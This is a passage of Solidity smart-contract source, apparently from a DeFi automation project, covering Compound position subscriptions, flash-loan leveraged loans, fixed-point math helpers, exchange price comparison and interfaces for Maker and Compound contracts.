emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled);
} else {
subscribers.push(subscription);
subInfo.arrPos = subscribers.length - 1;
subInfo.subscribed = true;
emit Subscribed(msg.sender);
}
}
/// @notice Called by the users DSProxy
/// @dev Owner who subscribed cancels his subscription
function unsubscribe() external {
_unsubscribe(msg.sender);
}
/// @dev Checks limit if minRatio is bigger than max
/// @param _minRatio Minimum ratio, bellow which repay can be triggered
/// @param _maxRatio Maximum ratio, over which boost can be triggered
/// @return Returns bool if the params are correct
function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) {
if (_minRatio > _maxRatio) {
return false;
}
return true;
}
/// @dev Internal method to remove a subscriber from the list
/// @param _user The actual address that owns the Compound position
function _unsubscribe(address _user) internal {
require(subscribers.length > 0, "Must have subscribers in the list");
SubPosition storage subInfo = subscribersPos[_user];
require(subInfo.subscribed, "Must first be subscribed");
address lastOwner = subscribers[subscribers.length - 1].user;
SubPosition storage subInfo2 = subscribersPos[lastOwner];
subInfo2.arrPos = subInfo.arrPos;
subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1];
subscribers.pop(); // remove last element and reduce arr length
changeIndex++;
subInfo.subscribed = false;
subInfo.arrPos = 0;
emit Unsubscribed(msg.sender);
}
/// @dev Checks if the user is subscribed
/// @param _user The actual address that owns the Compound position
/// @return If the user is subscribed
function isSubscribed(address _user) public view returns (bool) {
SubPosition storage subInfo = subscribersPos[_user];
return subInfo.subscribed;
}
/// @dev Returns subscribtion information about a user
/// @param _user The actual address that owns the Compound position
/// @return Subscription information about the user if exists
function getHolder(address _user) public view returns (CompoundHolder memory) {
SubPosition storage subInfo = subscribersPos[_user];
return subscribers[subInfo.arrPos];
}
/// @notice Helper method to return all the subscribed CDPs
/// @return List of all subscribers
function getSubscribers() public view returns (CompoundHolder[] memory) {
return subscribers;
}
/// @notice Helper method for the frontend, returns all the subscribed CDPs paginated
/// @param _page What page of subscribers you want
/// @param _perPage Number of entries per page
/// @return List of all subscribers for that page
function getSubscribersByPage(uint _page, uint _perPage) public view returns (CompoundHolder[] memory) {
CompoundHolder[] memory holders = new CompoundHolder[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > holders.length) ? holders.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
holders[count] = subscribers[i];
count++;
}
return holders;
}
////////////// ADMIN METHODS ///////////////////
/// @notice Admin function to unsubscribe a CDP
/// @param _user The actual address that owns the Compound position
function unsubscribeByAdmin(address _user) public onlyOwner {
SubPosition storage subInfo = subscribersPos[_user];
if (subInfo.subscribed) {
_unsubscribe(_user);
}
}
}
contract CompoundSubscriptionsProxy is ProxyPermission {
address public constant COMPOUND_SUBSCRIPTION_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207;
address public constant COMPOUND_MONITOR_PROXY = 0xB1cF8DE8e791E4Ed1Bd86c03E2fc1f14389Cb10a;
/// @notice Calls subscription contract and creates a DSGuard if non existent
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalRatioBoost Ratio amount which boost should target
/// @param _optimalRatioRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function subscribe(
uint128 _minRatio,
uint128 _maxRatio,
uint128 _optimalRatioBoost,
uint128 _optimalRatioRepay,
bool _boostEnabled
) public {
givePermission(COMPOUND_MONITOR_PROXY);
ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe(
_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled);
}
/// @notice Calls subscription contract and updated existing parameters
/// @dev If subscription is non existent this will create one
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalRatioBoost Ratio amount which boost should target
/// @param _optimalRatioRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function update(
uint128 _minRatio,
uint128 _maxRatio,
uint128 _optimalRatioBoost,
uint128 _optimalRatioRepay,
bool _boostEnabled
) public {
ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled);
}
/// @notice Calls the subscription contract to unsubscribe the caller
function unsubscribe() public {
removePermission(COMPOUND_MONITOR_PROXY);
ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).unsubscribe();
}
}
contract CompoundCreateTaker is ProxyPermission {
using SafeERC20 for ERC20;
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
// solhint-disable-next-line const-name-snakecase
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
struct CreateInfo {
address cCollAddress;
address cBorrowAddress;
uint depositAmount;
}
/// @notice Main function which will take a FL and open a leverage position
/// @dev Call through DSProxy, if _exchangeData.destAddr is a token approve DSProxy
/// @param _createInfo [cCollAddress, cBorrowAddress, depositAmount]
/// @param _exchangeData Exchange data struct
function openLeveragedLoan(
CreateInfo memory _createInfo,
SaverExchangeCore.ExchangeData memory _exchangeData,
address payable _compReceiver
) public payable {
uint loanAmount = _exchangeData.srcAmount;
// Pull tokens from user
if (_exchangeData.destAddr != ETH_ADDRESS) {
ERC20(_exchangeData.destAddr).safeTransferFrom(msg.sender, address(this), _createInfo.depositAmount);
} else {
require(msg.value >= _createInfo.depositAmount, "Must send correct amount of eth");
}
// Send tokens to FL receiver
sendDeposit(_compReceiver, _exchangeData.destAddr);
// Pack the struct data
(uint[4] memory numData, address[6] memory cAddresses, bytes memory callData)
= _packData(_createInfo, _exchangeData);
bytes memory paramsData = abi.encode(numData, cAddresses, callData, address(this));
givePermission(_compReceiver);
lendingPool.flashLoan(_compReceiver, _exchangeData.srcAddr, loanAmount, paramsData);
removePermission(_compReceiver);
logger.Log(address(this), msg.sender, "CompoundLeveragedLoan",
abi.encode(_exchangeData.srcAddr, _exchangeData.destAddr, _exchangeData.srcAmount, _exchangeData.destAmount));
}
function sendDeposit(address payable _compoundReceiver, address _token) internal {
if (_token != ETH_ADDRESS) {
ERC20(_token).safeTransfer(_compoundReceiver, ERC20(_token).balanceOf(address(this)));
}
_compoundReceiver.transfer(address(this).balance);
}
function _packData(
CreateInfo memory _createInfo,
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (uint[4] memory numData, address[6] memory cAddresses, bytes memory callData) {
numData = [
exchangeData.srcAmount,
exchangeData.destAmount,
exchangeData.minPrice,
exchangeData.price0x
];
cAddresses = [
_createInfo.cCollAddress,
_createInfo.cBorrowAddress,
exchangeData.srcAddr,
exchangeData.destAddr,
exchangeData.exchangeAddr,
exchangeData.wrapper
];
callData = exchangeData.callData;
}
}
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
}
contract CompoundBorrowProxy {
using SafeERC20 for ERC20;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public {
address[] memory markets = new address[](2);
markets[0] = _cCollToken;
markets[1] = _cBorrowToken;
ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets);
require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0);
// withdraw funds to msg.sender
if (_borrowToken != ETH_ADDR) {
ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this)));
} else {
msg.sender.transfer(address(this).balance);
}
}
}
contract AllowanceProxy is AdminAuth {
using SafeERC20 for ERC20;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// TODO: Real saver exchange address
SaverExchange saverExchange = SaverExchange(0x235abFAd01eb1BDa28Ef94087FBAA63E18074926);
function callSell(SaverExchangeCore.ExchangeData memory exData) public payable {
pullAndSendTokens(exData.srcAddr, exData.srcAmount);
saverExchange.sell{value: msg.value}(exData, msg.sender);
}
function callBuy(SaverExchangeCore.ExchangeData memory exData) public payable {
pullAndSendTokens(exData.srcAddr, exData.srcAmount);
saverExchange.buy{value: msg.value}(exData, msg.sender);
}
function pullAndSendTokens(address _tokenAddr, uint _amount) internal {
if (_tokenAddr == KYBER_ETH_ADDRESS) {
require(msg.value >= _amount, "msg.value smaller than amount");
} else {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(saverExchange), _amount);
}
}
function ownerChangeExchange(address payable _newExchange) public onlyOwner {
saverExchange = SaverExchange(_newExchange);
}
}
contract Prices is DSMath {
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
enum ActionType { SELL, BUY }
/// @notice Returns the best estimated price from 2 exchanges
/// @param _amount Amount of source tokens you want to exchange
/// @param _srcToken Address of the source token
/// @param _destToken Address of the destination token
/// @param _type Type of action SELL|BUY
/// @param _wrappers Array of wrapper addresses to compare
/// @return (address, uint) The address of the best exchange and the exchange price
function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
ActionType _type,
address[] memory _wrappers
) public returns (address, uint256) {
uint256[] memory rates = new uint256[](_wrappers.length);
for (uint i=0; i<_wrappers.length; i++) {
rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type);
}
if (_type == ActionType.SELL) {
return getBiggestRate(_wrappers, rates);
} else {
return getSmallestRate(_wrappers, rates);
}
}
/// @notice Return the expected rate from the exchange wrapper
/// @dev In case of Oasis/Uniswap handles the different precision tokens
/// @param _wrapper Address of exchange wrapper
/// @param _srcToken From token
/// @param _destToken To token
/// @param _amount Amount to be exchanged
/// @param _type Type of action SELL|BUY
function getExpectedRate(
address _wrapper,
address _srcToken,
address _destToken,
uint256 _amount,
ActionType _type
) public returns (uint256) {
bool success;
bytes memory result;
if (_type == ActionType.SELL) {
(success, result) = _wrapper.call(abi.encodeWithSignature(
"getSellRate(address,address,uint256)",
_srcToken,
_destToken,
_amount
));
} else {
(success, result) = _wrapper.call(abi.encodeWithSignature(
"getBuyRate(address,address,uint256)",
_srcToken,
_destToken,
_amount
));
}
if (success) {
return sliceUint(result, 0);
}
return 0;
}
/// @notice Finds the biggest rate between exchanges, needed for sell rate
/// @param _wrappers Array of wrappers to compare
/// @param _rates Array of rates to compare
function getBiggestRate(
address[] memory _wrappers,
uint256[] memory _rates
) internal pure returns (address, uint) {
uint256 maxIndex = 0;
// starting from 0 in case there is only one rate in array
for (uint256 i=0; i<_rates.length; i++) {
if (_rates[i] > _rates[maxIndex]) {
maxIndex = i;
}
}
return (_wrappers[maxIndex], _rates[maxIndex]);
}
/// @notice Finds the smallest rate between exchanges, needed for buy rate
/// @param _wrappers Array of wrappers to compare
/// @param _rates Array of rates to compare
function getSmallestRate(
address[] memory _wrappers,
uint256[] memory _rates
) internal pure returns (address, uint) {
uint256 minIndex = 0;
// starting from 0 in case there is only one rate in array
for (uint256 i=0; i<_rates.length; i++) {
if ((_rates[i] < _rates[minIndex] && _rates[i] > 0) || _rates[minIndex] == 0) {
minIndex = i;
}
}
return (_wrappers[minIndex], _rates[minIndex]);
}
function getDecimals(address _token) internal view returns (uint256) {
if (_token == KYBER_ETH_ADDRESS) return 18;
return ERC20(_token).decimals();
}
function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) {
require(bs.length >= start + 32, "slicing out of range");
uint256 x;
assembly {
x := mload(add(bs, add(0x20, start)))
}
return x;
}
}
contract SaverExchangeHelper {
using SafeERC20 for ERC20;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D;
address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F;
function getDecimals(address _token) internal view returns (uint256) {
if (_token == KYBER_ETH_ADDRESS) return 18;
return ERC20(_token).decimals();
}
function getBalance(address _tokenAddr) internal view returns (uint balance) {
if (_tokenAddr == KYBER_ETH_ADDRESS) {
balance = address(this).balance;
} else {
balance = ERC20(_tokenAddr).balanceOf(address(this));
}
}
function approve0xProxy(address _tokenAddr, uint _amount) internal {
if (_tokenAddr != KYBER_ETH_ADDRESS) {
ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount);
}
}
function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal {
// send back any leftover ether or tokens
if (address(this).balance > 0) {
_to.transfer(address(this).balance);
}
if (getBalance(_srcAddr) > 0) {
ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr));
}
if (getBalance(_destAddr) > 0) {
ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr));
}
}
function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) {
require(bs.length >= start + 32, "slicing out of range");
uint256 x;
assembly {
x := mload(add(bs, add(0x20, start)))
}
return x;
}
}
contract SaverExchangeRegistry is AdminAuth {
mapping(address => bool) private wrappers;
constructor() public {
wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true;
wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true;
wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true;
}
function addWrapper(address _wrapper) public onlyOwner {
wrappers[_wrapper] = true;
}
function removeWrapper(address _wrapper) public onlyOwner {
wrappers[_wrapper] = false;
}
function isWrapper(address _wrapper) public view returns(bool) {
return wrappers[_wrapper];
}
}
abstract contract CEtherInterface {
function mint() external virtual payable;
function repayBorrow() external virtual payable;
}
abstract contract Cat {
struct Ilk {
address flip; // Liquidator
uint256 chop; // Liquidation Penalty [ray]
uint256 lump; // Liquidation Quantity [wad]
}
mapping (bytes32 => Ilk) public ilks;
}
abstract contract CompoundOracleInterface {
function getUnderlyingPrice(address cToken) external view virtual returns (uint);
}
abstract contract ComptrollerInterface {
function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory);
function exitMarket(address cToken) external virtual returns (uint256);
function getAssetsIn(address account) external virtual view returns (address[] memory);
function markets(address account) public virtual view returns (bool, uint256);
function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256);
function claimComp(address holder) virtual public;
function oracle() public virtual view returns (address);
}
abstract contract DSProxyInterface {
/// Truffle wont compile if this isn't commented
// function execute(bytes memory _code, bytes memory _data)
// public virtual
// payable
// returns (address, bytes32);
function execute(address _target, bytes memory _data) public virtual payable returns (bytes32);
function setCache(address _cacheAddr) public virtual payable returns (bool);
function owner() public virtual returns (address);
}
abstract contract GemLike {
function approve(address, uint) public virtual;
function transfer(address, uint) public virtual;
function transferFrom(address, address, uint) public virtual;
function deposit() public virtual payable;
function withdraw(uint) public virtual;
}
abstract contract ManagerLike {
function cdpCan(address, uint, address) public virtual view returns (uint);
function ilks(uint) public virtual view returns (bytes32);
function owns(uint) public virtual view returns (address);
function urns(uint) public virtual view returns (address);
function vat() public virtual view returns (address);
function open(bytes32) public virtual returns (uint);
function give(uint, address) public virtual;
function cdpAllow(uint, address, uint) public virtual;
function urnAllow(address, uint) public virtual;
function frob(uint, int, int) public virtual;
function frob(uint, address, int, int) public virtual;
function flux(uint, address, uint) public virtual;
function move(uint, address, uint) public virtual;
function exit(address, uint, address, uint) public virtual;
function quit(uint, address) public virtual;
function enter(address, uint) public virtual;
function shift(uint, uint) public virtual;
}
abstract contract VatLike {
function can(address, address) public virtual view returns (uint);
function ilks(bytes32) public virtual view returns (uint, uint, uint, uint, uint);
function dai(address) public virtual view returns (uint);
function urns(bytes32, address) public virtual view returns (uint, uint);
function frob(bytes32, address, address, address, int, int) public virtual;
function hope(address) public virtual;
function move(address, address, uint) public virtual;
}
abstract contract GemJoinLike {
function dec() public virtual returns (uint);
function gem() public virtual returns (GemLike);
function join(address, uint) public virtual payable;
function exit(address, uint) public virtual;
}
abstract contract GNTJoinLike {
function bags(address) public virtual view returns (address);
function make(address) public virtual returns (address);
}
abstract contract DaiJoinLike {
function vat() public virtual returns (VatLike);
function dai() public virtual returns (GemLike);
function join(address, uint) public virtual payable;
function exit(address, uint) public virtual;
}
abstract contract HopeLike {
function hope(address) public virtual;
function nope(address) public virtual;
}
abstract contract EndLike {
function fix(bytes32) public virtual view returns (uint);
function cash(bytes32, uint) public virtual;
function free(bytes32) public virtual;
function pack(uint) public virtual;
function skim(bytes32, address) public virtual;
}
abstract contract JugLike {
function drip(bytes32) public virtual;
}
abstract contract PotLike {
function chi() public virtual view returns (uint);
function pie(address) public virtual view returns (uint);
function drip() public virtual;
function join(uint) public virtual;
function exit(uint) public virtual;
}
abstract contract ProxyRegistryLike {
function proxies(address) public virtual view returns (address);
function build(address) public virtual returns (address);
}
abstract contract ProxyLike {
function owner() public virtual view returns (address);
}
abstract contract DssProxyActions {
function daiJoin_join(address apt, address urn, uint wad) public virtual;
function transfer(address gem, address dst, uint wad) public virtual;
function ethJoin_join(address apt, address urn) public virtual payable;
function gemJoin_join(address apt, address urn, uint wad, bool transferFrom) public virtual payable;
function hope(address obj, address usr) public virtual;
function nope(address obj, address usr) public virtual;
function open(address manager, bytes32 ilk, address usr) public virtual returns (uint cdp);
function give(address manager, uint cdp, address usr) public virtual;
function giveToProxy(address proxyRegistry, address manager, uint cdp, address dst) public virtual;
function cdpAllow(address manager, uint cdp, address usr, uint ok) public virtual;
function urnAllow(address manager, address usr, uint ok) public virtual;
function flux(address manager, uint cdp, address dst, uint wad) public virtual;
function move(address manager, uint cdp, address dst, uint rad) public virtual;
function frob(address manager, uint cdp, int dink, int dart) public virtual;
function frob(address manager, uint cdp, address dst, int dink, int dart) public virtual;
function quit(address manager, uint cdp, address dst) public virtual;
function enter(address manager, address src, uint cdp) public virtual;
function shift(address manager, uint cdpSrc, uint cdpOrg) public virtual;
function makeGemBag(address gemJoin) public virtual returns (address bag);
function lockETH(address manager, address ethJoin, uint cdp) public virtual payable;
function safeLockETH(address manager, address ethJoin, uint cdp, address owner) public virtual payable;
function lockGem(address manager, address gemJoin, uint cdp, uint wad, bool transferFrom) public virtual;
function safeLockGem(address manager, address gemJoin, uint cdp, uint wad, bool transferFrom, address owner) public virtual;
function freeETH(address manager, address ethJoin, uint cdp, uint wad) public virtual;
function freeGem(address manager, address gemJoin, uint cdp, uint wad) public virtual;
function draw(address manager, address jug, address daiJoin, uint cdp, uint wad) public virtual;
function wipe(address manager, address daiJoin, uint cdp, uint wad) public virtual;
function safeWipe(address manager, address daiJoin, uint cdp, uint wad, address owner) public virtual;
function wipeAll(address manager, address daiJoin, uint cdp) public virtual;
function safeWipeAll(address manager, address daiJoin, uint cdp, address owner) public virtual;
function lockETHAndDraw(address manager, address jug, address ethJoin, address daiJoin, uint cdp, uint wadD) public virtual payable;
function openLockETHAndDraw(address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint wadD) public virtual payable returns (uint cdp);
function lockGemAndDraw(address manager, address jug, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD, bool transferFrom) public virtual;
function openLockGemAndDraw(address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD, bool transferFrom) public virtual returns (uint cdp);
function openLockGNTAndDraw(address manager, address jug, address gntJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD) public virtual returns (address bag, uint cdp);
function wipeAndFreeETH(address manager, address ethJoin, address daiJoin, uint cdp, uint wadC, uint wadD) public virtual;
function wipeAllAndFreeETH(address manager, address ethJoin, address daiJoin, uint cdp, uint wadC) public virtual;
function wipeAndFreeGem(address manager, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD) public virtual;
function wipeAllAndFreeGem(address manager, address gemJoin, address daiJoin, uint cdp, uint wadC) public virtual;
}
abstract contract DaiJoin {
function vat() public virtual returns (Vat);
function dai() public virtual returns (Gem);
function join(address, uint) public virtual payable;
function exit(address, uint) public virtual;
}
abstract contract DssProxyActionsDsr {
function join(address daiJoin, address pot, uint wad) virtual public;
function exit(address daiJoin, address pot, uint wad) virtual public;
function exitAll(address daiJoin, address pot) virtual public;
}
interface ERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface ExchangeInterface {
function swapEtherToToken(uint256 _ethAmount, address _tokenAddress, uint256 _maxAmount)
external
payable
returns (uint256, uint256);
function swapTokenToEther(address _tokenAddress, uint256 _amount, uint256 _maxAmount)
external
returns (uint256);
function swapTokenToToken(address _src, address _dest, uint256 _amount)
external
payable
returns (uint256);
function getExpectedRate(address src, address dest, uint256 srcQty)
external
view
returns (uint256 expectedRate);
}
interface ExchangeInterfaceV2 {
function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint);
function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint);
function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint);
function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint);
}
abstract contract Faucet {
function gulp(address) public virtual;
}
abstract contract Flipper {
function bids(uint _bidId) public virtual returns (uint256, uint256, address, uint48, uint48, address, address, uint256);
function tend(uint id, uint lot, uint bid) virtual external;
function dent(uint id, uint lot, uint bid) virtual external;
